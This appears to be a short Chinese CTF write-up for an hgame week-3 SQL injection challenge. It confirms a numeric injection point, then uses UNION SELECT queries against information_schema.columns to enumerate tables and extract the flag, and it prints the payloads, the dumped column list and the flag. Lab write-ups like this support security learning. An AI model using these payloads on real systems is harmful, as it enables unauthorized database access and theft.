

F1rry week3 write up

送分的 SQLi:

<http://118.25.18.223:10068/>

打开网址得到如下窗口:

1 chutiren

id:

发现输入的应该是数字字段,于是判断他的漏洞,在 id 里输入 1 跟输入 2-1 得到同样的结构,而输入'则报错,于是 sql 注入都按以下格式: 1 union.....

在 id 里输入 1 union select table_name,column_name from information_schema.columns(ps:information_schema.columns 里包含数据库中的所有表和列名称的详细资料)

```
INNODB_BUFFER_POOL_STATS  LRU_IO_CURRENT
INNODB_BUFFER_POOL_STATS  UNCOMPRESS_TOTAL
INNODB_BUFFER_POOL_STATS  UNCOMPRESS_CURRENT
INNODB_FT_CONFIG  KEY
INNODB_FT_CONFIG  VALUE
test  id
test  name
f111aa4g  id
f111aa4g  dajiangyoude
f111aa4g  f111aaagg_w3
users  id
users  username
```

发现了如上的列表,看到类似 flag 字样的表名和列明于是输入:

1 union select NULL,f111aaagg_w3 from f111aa4g

得到

1 chutiren

hgame{Th3_e4sist_sql_injeCti0n##}

id: